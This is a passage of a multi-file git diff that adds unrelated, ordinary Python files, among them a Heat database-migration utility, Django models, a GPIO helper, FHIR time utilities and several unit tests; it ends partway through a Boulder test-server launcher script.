the License. +# +# Base on code in migrate/changeset/databases/sqlite.py which is under +# the following license: +# +# The MIT License +# +# Copyright (c) 2009 Evan Rosson, Jan Dittberner, Domen Kožar +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE + +import distutils.version as dist_version +import os +import re + +import migrate +from migrate.changeset import ansisql +from migrate.changeset.databases import sqlite +from migrate.versioning import util as migrate_util +import sqlalchemy +from sqlalchemy.schema import UniqueConstraint + +from heat.openstack.common.db import exception +from heat.openstack.common.db.sqlalchemy import session as db_session +from heat.openstack.common.gettextutils import _ # noqa + + +@migrate_util.decorator +def patched_with_engine(f, *a, **kw): + url = a[0] + engine = migrate_util.construct_engine(url, **kw) + + try: + kw['engine'] = engine + return f(*a, **kw) + finally: + if isinstance(engine, migrate_util.Engine) and engine is not url: + migrate_util.log.debug('Disposing SQLAlchemy engine %s', engine) + engine.dispose() + + +# TODO(jkoelker) When migrate 0.7.3 is released and nova depends +# on that version or higher, this can be removed +MIN_PKG_VERSION = dist_version.StrictVersion('0.7.3') +if (not hasattr(migrate, '__version__') or + dist_version.StrictVersion(migrate.__version__) < MIN_PKG_VERSION): + migrate_util.with_engine = patched_with_engine + + +# NOTE(jkoelker) Delay importing migrate until we are patched +from migrate import exceptions as versioning_exceptions +from migrate.versioning import api as versioning_api +from migrate.versioning.repository import Repository + +_REPOSITORY = None + +get_engine = db_session.get_engine + + +def _get_unique_constraints(self, table): + """Retrieve information about existing unique constraints of the table + + This feature is needed for _recreate_table() to work properly. + Unfortunately, it's not available in sqlalchemy 0.7.x/0.8.x. + + """ + + data = table.metadata.bind.execute( + """SELECT sql + FROM sqlite_master + WHERE + type='table' AND + name=:table_name""", + table_name=table.name + ).fetchone()[0] + + UNIQUE_PATTERN = "CONSTRAINT (\w+) UNIQUE \(([^\)]+)\)" + return [ + UniqueConstraint( + *[getattr(table.columns, c.strip(' "')) for c in cols.split(",")], + name=name + ) + for name, cols in re.findall(UNIQUE_PATTERN, data) + ] + + +def _recreate_table(self, table, column=None, delta=None, omit_uniques=None): + """Recreate the table properly + + Unlike the corresponding original method of sqlalchemy-migrate this one + doesn't drop existing unique constraints when creating a new one. + + """ + + table_name = self.preparer.format_table(table) + + # we remove all indexes so as not to have + # problems during copy and re-create + for index in table.indexes: + index.drop() + + # reflect existing unique constraints + for uc in self._get_unique_constraints(table): + table.append_constraint(uc) + # omit given unique constraints when creating a new table if required + table.constraints = set([ + cons for cons in table.constraints + if omit_uniques is None or cons.name not in omit_uniques + ]) + + self.append('ALTER TABLE %s RENAME TO migration_tmp' % table_name) + self.execute() + + insertion_string = self._modify_table(table, column, delta) + + table.create(bind=self.connection) + self.append(insertion_string % {'table_name': table_name}) + self.execute() + self.append('DROP TABLE migration_tmp') + self.execute() + + +def _visit_migrate_unique_constraint(self, *p, **k): + """Drop the given unique constraint + + The corresponding original method of sqlalchemy-migrate just + raises NotImplemented error + + """ + + self.recreate_table(p[0].table, omit_uniques=[p[0].name]) + + +def patch_migrate(): + """A workaround for SQLite's inability to alter things + + SQLite abilities to alter tables are very limited (please read + http://www.sqlite.org/lang_altertable.html for more details). + E. g. one can't drop a column or a constraint in SQLite. The + workaround for this is to recreate the original table omitting + the corresponding constraint (or column). + + sqlalchemy-migrate library has recreate_table() method that + implements this workaround, but it does it wrong: + + - information about unique constraints of a table + is not retrieved. So if you have a table with one + unique constraint and a migration adding another one + you will end up with a table that has only the + latter unique constraint, and the former will be lost + + - dropping of unique constraints is not supported at all + + The proper way to fix this is to provide a pull-request to + sqlalchemy-migrate, but the project seems to be dead. So we + can go on with monkey-patching of the lib at least for now. + + """ + + # this patch is needed to ensure that recreate_table() doesn't drop + # existing unique constraints of the table when creating a new one + helper_cls = sqlite.SQLiteHelper + helper_cls.recreate_table = _recreate_table + helper_cls._get_unique_constraints = _get_unique_constraints + + # this patch is needed to be able to drop existing unique constraints + constraint_cls = sqlite.SQLiteConstraintDropper + constraint_cls.visit_migrate_unique_constraint = \ + _visit_migrate_unique_constraint + constraint_cls.__bases__ = (ansisql.ANSIColumnDropper, + sqlite.SQLiteConstraintGenerator) + + +def db_sync(abs_path, version=None, init_version=0): + """Upgrade or downgrade a database. + + Function runs the upgrade() or downgrade() functions in change scripts. + + :param abs_path: Absolute path to migrate repository. + :param version: Database will upgrade/downgrade until this version. + If None - database will update to the latest + available version. + :param init_version: Initial database version + """ + if version is not None: + try: + version = int(version) + except ValueError: + raise exception.DbMigrationError( + message=_("version should be an integer")) + + current_version = db_version(abs_path, init_version) + repository = _find_migrate_repo(abs_path) + if version is None or version > current_version: + return versioning_api.upgrade(get_engine(), repository, version) + else: + return versioning_api.downgrade(get_engine(), repository, + version) + + +def db_version(abs_path, init_version): + """Show the current version of the repository. + + :param abs_path: Absolute path to migrate repository + :param version: Initial database version + """ + repository = _find_migrate_repo(abs_path) + try: + return versioning_api.db_version(get_engine(), repository) + except versioning_exceptions.DatabaseNotControlledError: + meta = sqlalchemy.MetaData() + engine = get_engine() + meta.reflect(bind=engine) + tables = meta.tables + if len(tables) == 0: + db_version_control(abs_path, init_version) + return versioning_api.db_version(get_engine(), repository) + else: + # Some pre-Essex DB's may not be version controlled. + # Require them to upgrade using Essex first. + raise exception.DbMigrationError( + message=_("Upgrade DB using Essex release first.")) + + +def db_version_control(abs_path, version=None): + """Mark a database as under this repository's version control. + + Once a database is under version control, schema changes should + only be done via change scripts in this repository. + + :param abs_path: Absolute path to migrate repository + :param version: Initial database version + """ + repository = _find_migrate_repo(abs_path) + versioning_api.version_control(get_engine(), repository, version) + return version + + +def _find_migrate_repo(abs_path): + """Get the project's change script repository + + :param abs_path: Absolute path to migrate repository + """ + global _REPOSITORY + if not os.path.exists(abs_path): + raise exception.DbMigrationError("Path %s not found" % abs_path) + if _REPOSITORY is None: + _REPOSITORY = Repository(abs_path) + return _REPOSITORY diff --git a/pool/shard008/Python/0077782_budget_identifier.py b/pool/shard008/Python/0077782_budget_identifier.py new file mode 100644 index 0000000000000000000000000000000000000000..8e97075db632985ec5b60d87d1b7b05ce602d0db --- /dev/null +++ b/pool/shard008/Python/0077782_budget_identifier.py @@ -0,0 +1,26 @@ +# -*- coding: utf-8 -*- + +# Akvo RSR is covered by the GNU Affero General Public License. +# See more details in the license.txt file located at the root folder of the Akvo RSR module. +# For additional details on the GNU license please see < http://www.gnu.org/licenses/agpl.html >. + + +from django.db import models +from django.utils.translation import ugettext_lazy as _ + +from .base_codelist import BaseCodelist + + +class BudgetIdentifier(BaseCodelist): + category = models.CharField(_('category'), max_length=100, blank=True, null=False) + name = models.CharField(_('name'), max_length=300, blank=True, null=False) + sector = models.CharField(_('sector'), max_length=100, blank=True, null=False) + + def __str__(self): + return self.code + ' - ' + self.name + + class Meta: + app_label = 'codelists' + ordering = ('-version', 'code') + verbose_name = _('budget identifier') + verbose_name_plural = _('budget identifiers') diff --git a/pool/shard008/Python/0077786_utils.py b/pool/shard008/Python/0077786_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..5724570aa96ecb4899105ccc939455015d8dedb5 --- /dev/null +++ b/pool/shard008/Python/0077786_utils.py @@ -0,0 +1,29 @@ +import os + +import pytest + + +def batch_status_job_counter(batch_status, job_state): + return len([j for j in batch_status['jobs'] if j['state'] == job_state]) + + +def legacy_batch_status(batch): + status = batch.status() + status['jobs'] = list(batch.jobs()) + return status + + +def smallest_machine_type(cloud): + if cloud == 'gcp': + return 'n1-standard-1' + assert cloud == 'azure' + return 'Standard_D2ds_v4' + + +fails_in_azure = pytest.mark.xfail( + os.environ.get('HAIL_CLOUD') == 'azure', reason="doesn't yet work on azure", strict=True +) + +skip_in_azure = pytest.mark.skipif( + os.environ.get('HAIL_CLOUD') == 'azure', reason="not applicable to azure", strict=True +) diff --git a/pool/shard008/Python/0077797_test_activity_view.py b/pool/shard008/Python/0077797_test_activity_view.py new file mode 100644 index 0000000000000000000000000000000000000000..878d86376ba22fd0dd970e7b87624f63b8c13e2e --- /dev/null +++ b/pool/shard008/Python/0077797_test_activity_view.py @@ -0,0 +1,53 @@ +import pytest +from django.urls import reverse + +from adhocracy4.test.helpers import setup_users + + +@pytest.mark.django_db +def test_facetoface_in_blueprints(client, project): + anonymous, moderator, initiator = setup_users(project) + client.login(username=initiator.email, password='password') + blueprints_url = reverse( + 'a4dashboard:blueprint-list', + kwargs={ + 'organisation_slug': project.organisation.slug + }) + # facetoface_blueprint_url = reverse( + # 'a4dashboard:project-create', + # kwargs={ + # 'blueprint_slug': 'facetoface', + # 'organisation_slug': project.organisation.slug + # }) + resp = client.get(blueprints_url, follow=True) + assert resp.status_code == 200 + # assert facetoface_blueprint_url in resp.content.decode() + + +@pytest.mark.django_db +def test_create_activity_in_dashboard(user, client, activity_factory, + phase_factory): + activity = activity_factory() + phase_factory(module=activity.module) + anonymous, moderator, initiator = setup_users(activity.project) + client.login(username=initiator.email, password='password') + url = reverse( + 'a4dashboard:activities-dashboard', + kwargs={ + 'module_slug': activity.module.slug + }) + # get the page + resp = client.get(url) + assert resp.status_code == 200 + + # post invalid data + resp = client.post(url) + assert not resp.context['form'].is_valid() + + # post valid data + resp = client.post(url, { + 'name': 'myname', + 'highlight': 'myhilight', + 'description': 'mydescription' + }) + assert resp.status_code == 302 # use this an an indicator for success diff --git a/pool/shard008/Python/0077801_models.py b/pool/shard008/Python/0077801_models.py new file mode 100644 index 0000000000000000000000000000000000000000..747316c116ba183ee2eafe8269476fb1e13c5276 --- /dev/null +++ b/pool/shard008/Python/0077801_models.py @@ -0,0 +1,101 @@ +from django.db import models +from django.utils import timezone +from django.core.urlresolvers import reverse +from lug_people.models import MemberProfile + +class Page(models.Model): + ACCESS_CHOICES = ( + (u"public", u"Public"), + (u"protected", u"Protected"), + (u"private", u"Private") + ) + + title = models.CharField("title", max_length=32, unique=True, + help_text=u"This is the page title. It will appear " + "in the URL and at the top of the page.") + access_level = models.CharField("access level", max_length=16, + choices=ACCESS_CHOICES, default=u"public", + help_text=u"Public: anyone can view, any member can " + "edit. Protected: anyone can view, only " + "officers can edit. Private: only " + "officers can view and edit.") + + class Meta: + ordering = ["title"] + permissions = ( + ("is_officer", u"Has officer access to the wiki"), + ) + + def __unicode__(self): + return self.title + + @property + def latest_revision(self): + try: + return self.revisions.order_by("-timestamp")[0] + except IndexError: + return None + + @property + def last_updated(self): + rev = self.latest_revision + return None if rev is None else rev.timestamp + + @property + def last_updated_by(self): + rev = self.latest_revision + return None if rev is None else rev.author + + def user_may_view(self, user): + if self.access_level == u"private": + return user.has_perm("lug_wiki.is_officer") + else: + return True + + def user_may_edit(self, user): + if self.access_level == u"public" and user.is_active: + return True + else: + return user.has_perm("lug_wiki.is_officer") + + +class Revision(models.Model): + page = models.ForeignKey(Page, verbose_name="page", + related_name="revisions") + author = models.ForeignKey(MemberProfile, verbose_name="author") + content = models.TextField("content") + change_note = models.CharField("change note", max_length=140, + help_text=u"Notes about the changes you made.") + timestamp = models.DateTimeField("timestamp", default=timezone.now, + help_text=u"The time this revision was made.") + + class Meta: + get_latest_by = "timestamp" + ordering = ["-timestamp"] + + def __unicode__(self): + return u"%s revision %d" % (self.page.title, self.id) + + +class NavbarLink(models.Model): + text = models.CharField("link text", max_length=32, + help_text=u"The text to display in the navbar.") + target = models.CharField("target", max_length=255, + help_text=u"If there's a /, it's a URL or path. " + "With no /, it's the name of a wiki page.") + ordering = models.PositiveIntegerField("ordering", db_index=True, + help_text=u"The position of this item in the navbar. " + "Higher numbers are sorted first.") + + class Meta: + ordering = ["-ordering", "text"] + + def __unicode__(self): + return self.text + + @property + def url(self): + if '/' in self.target: + return self.target + else: + return reverse('wiki_view', kwargs={'title': self.target}) diff --git a/pool/shard008/Python/0077807_usergpio.py b/pool/shard008/Python/0077807_usergpio.py new file mode 100644 index 0000000000000000000000000000000000000000..6b8e9cc6be7be6dcc46ee7eb026086f428695ddf --- /dev/null +++ b/pool/shard008/Python/0077807_usergpio.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +"""Very quick and dirty module to do basic GPIO stuff on /sys/class/gpio/ (to which normal users can be given access with relative safety, +/dev/mem, which RPi.GPIO uses is definitely root-only -land)""" +import os + +#TODO: Steal the epoll idea from https://github.com/derekstavis/python-sysfs-gpio/blob/master/src/sysfs/gpio.py + +FAKE = False + +def channel_controlpath(channel): + """Get the /sys/class/gpio/ -path for the given channel""" + return "/sys/class/gpio/gpio%d" % int(channel) + +def conditional_export(channel): + """Call export if channel is not exported""" + if os.path.isdir(channel_controlpath(channel)): + return True + return export(channel) + +def export(channel): + """Exports the given channel to /sys/class/gpio/""" + if FAKE: + print("export(%s)" % channel) + return False + with open("/sys/class/gpio/export", 'w') as f: + f.write(str(channel)) + return True + +def set_direction(channel, direction): + """Set direction ('in' or 'out') of the channel""" + conditional_export(channel) + path = "%s/direction" % channel_controlpath(channel) + if FAKE: + print("set_direction(%s, %s)" % (channel, direction)) + return False + with open(path, 'w') as f: + f.write(direction) + return True + +def set_value(channel, value): + """Set value for the channel (forces it to 'out' direction first)""" + set_direction(channel, 'out') + path = "%s/value" % channel_controlpath(channel) + #print("path=%s value=%s" % (path, value)) + if FAKE: + print("set_value(%s, %s)" % (channel, value)) + return False + with open(path, 'w') as f: + f.write(str(value)) + return True + +def read_value(channel): + """UNTESTED: Reads the value from given channel (forces it to 'in' direction first)""" + set_direction(channel, 'in') + path = "%s/value" % channel_controlpath(channel) + if FAKE: + print("read_value(%s)" % channel) + return False + with open(path, 'r') as f: + ret = f.readline() + return ret + + + +if __name__ == '__main__': + import sys + if len(sys.argv) < 3: + print "Usage (for output): usergpio.py channel state" + sys.exit(1) + set_value(int(sys.argv[1]), int(sys.argv[2])) diff --git a/pool/shard008/Python/0077809_primitive_time_utils.py b/pool/shard008/Python/0077809_primitive_time_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..cba1556f976712538c1925898f93ee64fbae5d10 --- /dev/null +++ b/pool/shard008/Python/0077809_primitive_time_utils.py @@ -0,0 +1,180 @@ +# +# Copyright 2020 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +"""Functions for dealing with time-/date-like FHIR primitives.""" + +import datetime +import enum +import re + +from typing import cast, Any, Tuple, Type, TypeVar + +from dateutil import parser +from dateutil import tz +from google.protobuf import message +from google.fhir.utils import proto_utils + +# google-fhir supports multiple ..x interpreters. If unable to +# import zoneinfo from stdlib, fallback to the backports package. See more at: +# https://pypi.org/project/backports.zoneinfo/. +try: + import zoneinfo # pytype: disable=import-error +except ImportError: + from backports import zoneinfo + +_T = TypeVar('_T', bound=message.Message) + +_TIMEZONE_OFFSET_PATTERN = re.compile( + r'(Z|(\+|-)((0[0-9]|1[0-3]):[0-5][0-9]|14:00))$') +PRECISION_PATTERN_MICROSECOND = re.compile( + r'([01][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)\.[0-9]{4,}$') +PRECISION_PATTERN_MILLISECOND = re.compile( + r'([01][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)\.[0-9]{1,3}$') +SIMPLE_ZULU = 'Z' +UNIX_EPOCH = datetime.datetime(1970, 1, 1, tzinfo=tz.UTC) + + +class DateTimePrecision(enum.IntEnum): + """FHIR version-abstract precision for Date* primitives.""" + UNSPECIFIED = 0 + YEAR = 1 + MONTH = 2 + DAY = 3 + SECOND = 4 + MILLISECOND = 5 + MICROSECOND = 6 + + +class TimePrecision(enum.IntEnum): + """FHIR version-abstract precision for Time/Instant primitives.""" + UNSPECIFIED = 0 + SECOND = 1 + MILLISECOND = 2 + MICROSECOND = 3 + + +def build_date_like(dt: datetime.datetime, tzstr: str, + precision: DateTimePrecision, + primitive_cls: Type[_T]) -> _T: + """Constructs an instance of Date/DateTime given a naive Python datetime.""" + tzinfo = timezone_info_for_timezone(tzstr) + aware_dt = dt.replace(tzinfo=tzinfo).astimezone(tz.UTC) + delta = (aware_dt - UNIX_EPOCH) + + # Note: Per the Python documentation, `total_seconds` will lose microsecond + # precision for very large time intervals (greater than 270 years on most + # platforms). + value_us = int(delta.total_seconds() * 1e6) + result = cast(Any, primitive_cls)( + value_us=value_us, + timezone=tzstr, + precision=cast(Any, primitive_cls).Precision.Value(precision.name)) + return result + + +def build_time(time: datetime.time, precision: TimePrecision, + primitive_cls: Type[_T]) -> _T: + """Constructs an instance of Time given a Python time object.""" + total_s = time.second + 60 * time.minute + 3600 * time.hour + total_us = time.microsecond + 1e6 * total_s + return cast(Any, primitive_cls)(value_us=int(total_us), precision=precision) + + +def get_date_time_value(primitive: message.Message) -> datetime.datetime: + """Returns a Python-native datetime.datetime from the wrapped primitive.""" + tzinfo = timezone_info_for_timezone( + cast(str, proto_utils.get_value_at_field(primitive, 'timezone'))) + delta = datetime.timedelta( + microseconds=cast(int, + proto_utils.get_value_at_field(primitive, 'value_us'))) + return (UNIX_EPOCH + delta).astimezone(tzinfo) + + +def get_duration_from_precision( + precision: DateTimePrecision) -> datetime.timedelta: + """Returns a timedelta reflecting the minimum unit based on precision.""" + # TODO: Handle YEAR and MONTH precision properly + if precision == DateTimePrecision.YEAR: + return datetime.timedelta(days=366) + elif precision == DateTimePrecision.MONTH: + return datetime.timedelta(days=31) + elif precision == DateTimePrecision.DAY: + return datetime.timedelta(hours=24) + elif precision == DateTimePrecision.SECOND: + return datetime.timedelta(seconds=1) + elif precision == DateTimePrecision.MILLISECOND: + return datetime.timedelta(milliseconds=1) + elif precision == DateTimePrecision.MICROSECOND: + return datetime.timedelta(microseconds=1) + else: + raise ValueError( + f'Unsupported datetime precision: {DateTimePrecision(precision)!r}.') + + +def get_upper_bound(primitive: message.Message, + precision: DateTimePrecision) -> datetime.datetime: + """Returns the value of the wrapped primitive plus '1 unit' of duration.""" + return get_date_time_value(primitive) + get_duration_from_precision(precision) + + +# TODO: Look into a cleaner method of restoring the UTC timezone +def restore_utc_timezone(datetime_str: str, original_timezone: str) -> str: + """Restores UTC '+00:00' offset with 'Z' or '-00:00' if necessary. + + This is necessary because dateutil will replace the 'Z' and '-00:00' timezones + with '+00:00', which is irreversible. + + Args: + datetime_str: The datetime string to examine. + original_timezone: The original timezone string on the primitive. + + Returns: + The restored datetime_str. Note that this will remain unchanged if there was + no UTC timezone replacement that occurred. + """ + if datetime_str.endswith('+00:00'): + if (original_timezone == SIMPLE_ZULU or original_timezone == '-00:00'): + return datetime_str.replace('+00:00', original_timezone, 1) + if original_timezone == 'UTC': + return datetime_str.replace('+00:00', SIMPLE_ZULU, 1) + return datetime_str + + +def split_timezone(raw_datetime_str: str) -> Tuple[str, str]: + """Given a raw FHIR datetime string, splits into datetime and timezone.""" + match = _TIMEZONE_OFFSET_PATTERN.search(raw_datetime_str) + if match is None: + raise ValueError(f'Unable to find timezone in {raw_datetime_str!r}') + start, end = match.span() + return raw_datetime_str[:start] + raw_datetime_str[end:], match.group() + + +def timezone_info_for_timezone(tzstr: str) -> datetime.tzinfo: + """Returns a datetime.tzinfo subclass for a timezone string.""" + offset_err = None + tzname_err = None + + try: + isoparser = parser.isoparser() + return isoparser.parse_tzstr(tzstr) + except ValueError as e: + offset_err = e # Fall through + + try: + return cast(datetime.tzinfo, zoneinfo.ZoneInfo(tzstr)) + except ValueError as e: + tzname_err = e # Fall through + + raise ValueError( + f'Cannot serialize timezone: {tzstr!r} ({offset_err!r}, {tzname_err!r}).') diff --git a/pool/shard008/Python/0077815_test_example.py b/pool/shard008/Python/0077815_test_example.py new file mode 100644 index 0000000000000000000000000000000000000000..3cf6fdebbf54d5487b077936c32987c3de89b0e6 --- /dev/null +++ b/pool/shard008/Python/0077815_test_example.py @@ -0,0 +1,37 @@ +#!/usr/bin/python +# -*- Mode: Python; coding: utf-8; indent-tabs-mode: nil; tab-width: 4 -*- +### BEGIN LICENSE +# Copyright (C) 2014 Anton Sukhovatkin +# This program is free software: you can redistribute it and/or modify it +# under the terms of the GNU General Public License version 3, as published +# by the Free Software Foundation. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranties of +# MERCHANTABILITY, SATISFACTORY QUALITY, or FITNESS FOR A PARTICULAR +# PURPOSE. See the GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License along +# with this program. If not, see . +### END LICENSE + +import sys +import os.path +import unittest +sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), ".."))) + +from unity_launcher_folders import AboutUnityLauncherFoldersDialog + +class TestExample(unittest.TestCase): + def setUp(self): + self.AboutUnityLauncherFoldersDialog_members = [ + 'AboutDialog', 'AboutUnityLauncherFoldersDialog', 'gettext', 'logger', 'logging'] + + def test_AboutUnityLauncherFoldersDialog_members(self): + all_members = dir(AboutUnityLauncherFoldersDialog) + public_members = [x for x in all_members if not x.startswith('_')] + public_members.sort() + self.assertEqual(self.AboutUnityLauncherFoldersDialog_members, public_members) + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard008/Python/0077825_developed_cells.py b/pool/shard008/Python/0077825_developed_cells.py new file mode 100644 index 0000000000000000000000000000000000000000..1eb6b764de175187be659fcaad33c96941f10ab2 --- /dev/null +++ b/pool/shard008/Python/0077825_developed_cells.py @@ -0,0 +1,54 @@ +# Opus/UrbanSim urban simulation software. +# Copyright (C) 2005-2009 University of Washington +# See opus_core/LICENSE + +from opus_core.variables.variable import Variable +from urbansim.functions import attribute_label +from variable_functions import my_attribute_label +from opus_core.logger import logger + +class developed_cells(Variable): + """Number of people in region""" + + def dependencies(self): + return [attribute_label("gridcell", "region_id"), + attribute_label("gridcell", "is_developed"), + my_attribute_label("region_id")] + + def compute(self, dataset_pool): + gridcell = dataset_pool.get_dataset('gridcell') + return self.get_dataset().sum_over_ids(gridcell.get_attribute("region_id"), + gridcell.get_attribute("is_developed")) + + def post_check(self, values, dataset_pool): + size = dataset_pool.get_dataset('gridcell').size() + self.do_check("x >= 0 and x <= " + str(size), values) + + +from opus_core.tests import opus_unittest +from urbansim.variable_test_toolbox import VariableTestToolbox +from urbansim.datasets.region_dataset import RegionDataset +from numpy import array +from numpy import ma + +class Tests(opus_unittest.OpusTestCase): + variable_name = "urbansim.region.developed_cells" + + def test_my_inputs(self): + is_developed = array([1,0,1,1]) + grid_id = array([1,2,3,4]) + + values = VariableTestToolbox().compute_variable(self.variable_name, + {"region":RegionDataset(), + "gridcell":{ + "is_developed":is_developed, + "grid_id":grid_id}}, + dataset = "region") + + should_be = array([3]) + + self.assertEqual(ma.allclose(values, should_be, rtol=1e-2), True, msg = "Error in " + self.variable_name) + + +if __name__=='__main__': + opus_unittest.main() \ No newline at end of file diff --git a/pool/shard008/Python/0077828_utils_test.py b/pool/shard008/Python/0077828_utils_test.py new file mode 100644 index 0000000000000000000000000000000000000000..e046122951a1bead8a44280f5618406aa76cd679 --- /dev/null +++ b/pool/shard008/Python/0077828_utils_test.py @@ -0,0 +1,116 @@ +from testify import * + +from blueox import utils + +class SimpleKeyParseTestCase(TestCase): + @setup + def parse(self): + self.value = utils.parse_key('foo') + + def test(self): + """verify that a single element key works""" + assert len(self.value), 1 + assert_equal(self.value[0], 'foo') + assert_equal(str(self.value), 'foo') + + +class LayerKeyParseTestCase(TestCase): + @setup + def parse(self): + self.value = utils.parse_key('foo.bar') + + def test(self): + """verify that a simple two element key works""" + assert len(self.value), 2 + assert_equal(self.value[0], 'foo') + assert_equal(self.value[1], 'bar') + assert_equal(str(self.value), 'foo.bar') + + +class IndexKeyParseTestCase(TestCase): + @setup + def parse(self): + self.value = utils.parse_key('foo.bar.2') + + def test(self): + """verify that a key with index values works""" + assert len(self.value), 3 + assert_equal(self.value[0], 'foo') + assert_equal(self.value[1], 'bar') + assert_equal(self.value[2], 2) + assert_equal(str(self.value), 'foo.bar.2') + + +class SimpleGetDeepTestCase(TestCase): + @setup + def build_value(self): + self.value = {'foo': True} + + def test_found(self): + """verify we can find a shallow value""" + assert_equal(utils.get_deep(self.value, 'foo'), True) + + def test_default(self): + """verify we can handle simple miss for a shallow value""" + assert_equal(utils.get_deep(self.value, 'bar', 5), 5) + + +class DeeperGetDeepTestCase(TestCase): + @setup + def build_value(self): + self.value = {'foo': {'bar': True}} + + def test_found(self): + """verify we can find a deep value""" + assert_equal(utils.get_deep(self.value, 'foo.bar'), True) + + def test_default(self): + """verify we can handle a missing deep value""" + assert_equal(utils.get_deep(self.value, 'foo.zoo', 5), 5) + + +class ListedGetDeepTestCase(TestCase): + @setup + def build_value(self): + self.value = {'foo': [{'bar': True}]} + + def test_found(self): + """verify we can find an indexed value""" + assert_equal(utils.get_deep(self.value, 'foo.0.bar'), True) + + def test_default(self): + """verify a missing indexed value works""" + assert_equal(utils.get_deep(self.value, 'foo.1.bar', 5), 5) + + +class SimpleSetDeepTestCase(TestCase): + @setup + def build_value(self): + self.value = {} + utils.set_deep(self.value, 'foo', True) + + def test(self): + """verify we can set a shallow value""" + assert_equal(utils.get_deep(self.value, 'foo'), True) + + +class DeeperSetDeepTestCase(TestCase): + @setup + def build_value(self): + self.value = {} + utils.set_deep(self.value, 'foo.bar', True) + + def test(self): + """verify we can set a shallow value""" + assert_equal(utils.get_deep(self.value, 'foo.bar'), True) + + +class ExistingSetDeepTestCase(TestCase): + @setup + def build_value(self): + self.value = {'foo': {'bar': True}} + utils.set_deep(self.value, 'foo.baz', True) + + def test(self): + """verify we can set a shallow value""" + assert_equal(utils.get_deep(self.value, 'foo.baz'), True) diff --git a/pool/shard008/Python/0077830_startservers.py b/pool/shard008/Python/0077830_startservers.py new file mode 100644 index 0000000000000000000000000000000000000000..20778a35d9a7fdd6fd3d399d5f6cf4f107addeb4 --- /dev/null +++ b/pool/shard008/Python/0077830_startservers.py @@ -0,0 +1,151 @@ +import atexit +import BaseHTTPServer +import errno +import os +import shutil +import signal +import socket +import subprocess +import sys +import tempfile +import threading +import time + +default_config_dir = os.environ.get('BOULDER_CONFIG_DIR', '') +if default_config_dir == '': + default_config_dir = 'test/config' + +processes = [] + +def install(race_detection): + # Pass empty BUILD_TIME and BUILD_ID flags to avoid constantly invalidating the + # build cache with new BUILD_TIMEs, or invalidating it on merges with a new + # BUILD_ID. + cmd = "make GO_BUILD_FLAGS='' " + if race_detection: + cmd = "make GO_BUILD_FLAGS='-race -tags \"integration\"'" + + return subprocess.call(cmd, shell=True) == 0 + +def run(cmd, race_detection): + e = os.environ.copy() + e.setdefault("GORACE", "halt_on_error=1") + # Note: Must use exec here so that killing this process kills the command. + cmd = """exec ./bin/%s""" % cmd + p = subprocess.Popen(cmd, shell=True, env=e) + p.cmd = cmd + return p + +def start(race_detection): + """Return True if everything builds and starts. + + Give up and return False if anything fails to build, or dies at + startup. Anything that did start before this point can be cleaned + up explicitly by calling stop(), or automatically atexit. + """ + signal.signal(signal.SIGTERM, lambda _, __: stop()) + signal.signal(signal.SIGINT, lambda _, __: stop()) + global processes + forward() + progs = [ + # The gsb-test-srv needs to be started before the VA or its intial DB + # update will fail and all subsequent lookups will be invalid + 'gsb-test-srv -apikey my-voice-is-my-passport', + 'boulder-sa --config %s' % os.path.join(default_config_dir, "sa.json"), + 'boulder-wfe --config %s' % os.path.join(default_config_dir, "wfe.json"), + 'boulder-ra --config %s' % os.path.join(default_config_dir, "ra.json"), + 'boulder-ca --config %s' % os.path.join(default_config_dir, "ca.json"), + 'boulder-va --config %s' % os.path.join(default_config_dir, "va.json"), + 'boulder-publisher --config %s' % os.path.join(default_config_dir, "publisher.json"), + 'ocsp-updater --config %s' % os.path.join(default_config_dir, "ocsp-updater.json"), + 'ocsp-responder --config %s' % os.path.join(default_config_dir, "ocsp-responder.json"), + 'ct-test-srv', + 'dns-test-srv', + 'mail-test-srv --closeFirst 5' + ] + if not install(race_detection): + return False + for prog in progs: + try: + processes.append(run(prog, race_detection)) + except Exception as e: + print(e) + return False + if not check(): + # Don't keep building stuff if a server has already died. + return False + + # Wait until all servers are up before returning to caller. This means + # checking each server's debug port until it's available. + while True: + try: + time.sleep(0.3) + # If one of the servers has died, quit immediately. + if not check(): + return False + ports = range(8000, 8005) + [4000, 4430] + for debug_port in ports: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect(('localhost', debug_port)) + s.close() + break + except socket.error as e: + if e.errno == errno.ECONNREFUSED: + print "Waiting for debug port %d" % debug_port + else: + raise + + # Some servers emit extra text after their debug server is open. Sleep 1 + # second so the "servers running" message comes last. + time.sleep(1) + print "All servers running. Hit ^C to kill." + return True + +def forward(): + """Add a TCP forwarder between Boulder and RabbitMQ to simulate failures.""" + cmd = """exec listenbuddy -listen :5673 -speak 